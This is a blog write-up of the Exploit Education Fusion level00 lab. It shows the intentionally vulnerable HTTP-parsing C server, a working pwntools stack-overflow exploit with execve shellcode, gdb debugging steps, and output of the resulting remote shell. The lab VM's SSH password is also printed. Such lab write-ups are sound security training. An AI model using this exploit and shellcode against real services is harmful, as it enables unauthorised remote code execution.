tomerfry.github.io

View on GitHub
19 May 2023

Exploit Education - Fusion - Level 0x00

by Tomer Goldschmidt

Long ago I exercised with the old version of Exploit-Exercises. Specifically with Protostar. Now that I am more experienced I want to try tackling Exploit-Education - Fusion exercises.


Setup

  1. First thing first, let’s download the .iso of the Fusion image from the downloads found in exploit.education/donwloads
  2. Start a new VM with the supplied image I just donwloaded.
  3. Make sure the VM Network-Adapter is in Bridged Mode.

About

This is a simple introduction to get you warmed up. The return address is supplied in case your memory needs a jog :)

Option Setting
Vulnerability Type Stack
PIC No
Read Only Relocations No
Non-Executable stack No
Non-Executable heap No
ASLR No
Source Fortification No

Source code

#include "../common/common.c"    

int fix_path(char *path)
{
  char resolved[128];
  
  if(realpath(path, resolved) == NULL) return 1; 
  // can't access path. will error trying to open

  strcpy(path, resolved);
}

char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;

  printf("[debug] buffer is at 0x%08x :-)\n", buffer);

  if(read(0, buffer, sizeof(buffer)) <= 0)
    errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

  fix_path(path);

  printf("trying to access %s\n", path);

  return path;
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  parse_http_request(); 
}

Source code Audit

Boiler-Plate code

The parse_http_request() Function

The fix_path() function

int fix_path(char *path)
{
  char resolved[128];
  
  if(realpath(path, resolved) == NULL) return 1; 
  // can't access path. will error trying to open

  strcpy(path, resolved);
}

Exploit Development

#! /usr/bin/python3

import re
import pwn
import time
import struct

p = pwn.remote('192.168.1.23', 20000)
resp = p.readuntil(':-)\n')
buffer_addr = int(re.findall('0x(.+?) ', resp.decode())[0], 16)
print(hex(buffer_addr))
path = b'/tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
get = b'GET '
header = b' HTTP/1.1'
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
payload = get + path + struct.pack("<II", buffer_addr, buffer_addr + len(get) + len(path) + 8 + len(header)) + header + shellcode
input()
p.sendline(payload)
p.interactive()


Debugging the Exploit

My script didn’t work on the first try, so I went on to debug my exploit code. To debug my exploit I needed to attach with gdb to the client process on the server-side. I connected with ssh to the Fusion machine. ssh fusion@<Fusion-VM-IP> with password godmode. Meanwhile I executed the script I wrote, which creates a connection to the server and wait for input() from me. Than, On the Fusion-VM I listed the processes actively running using ps -ef | grep level00 and in gdb attached to the process. From there I started debugging the process.

After debugging the the exploit, I understood that I should position the buffer address once before the address of the shellcode. This is because the program uses the leave assembly directive in this calling convention which assigns the stored $ebp from the stack into $esp register. Which is used in the shellcode. That way the exploit won’t cause the program to segfault.

[!NOTE] Place two addresses in you payload, one for $esp register and the second for the $eip register.

Debugging using GDB

fusion@fusion:/tmp$ ps -ef | grep level00
20000     2059     1  0 06:01 ?        00:00:00 ./level00                    # This is the server process. PID=2059 PPID=1
20000     3200  2059  0 08:50 ?        00:00:00 ./level00                    # This is the Client process. PID=3200 PPID=2059
fusion    3202  1755  0 08:50 pts/0    00:00:00 grep --color=auto level00
fusion@fusion:/tmp$ sudo gdb
(gdb) attach 3200
(gdb) b *fix_path+63 # This is a breakpoint before fix_path() returns.
(gdb) c
...      # Now I let the script continue on my Main-VM.
(gdb) x/1x $esp
<Actual-Return-Address> # Should be pointing at shellcode address that was stored in the buffer on the stack.
(gdb) c
user@user-virtual-machine:~/projects/fusion/level00$ ./script.py
[+] Opening connection to 192.168.1.23 on port 20000: Done
/home/user/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:1434: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  return func(self, *a, **kw)
0xbfdc1ce8

[*] Switching to interactive mode
$ ls
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
media
mnt
opt
proc
rofs
root
run
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$  

Summery

In the end this challenge wasn’t that hard, but it is a starting point for this sequence of exercises. I will make an effort to document my advancement and upload it in this platform. Thank you for reading this post, I hope that this was beneficial for you readers.


tags: fusion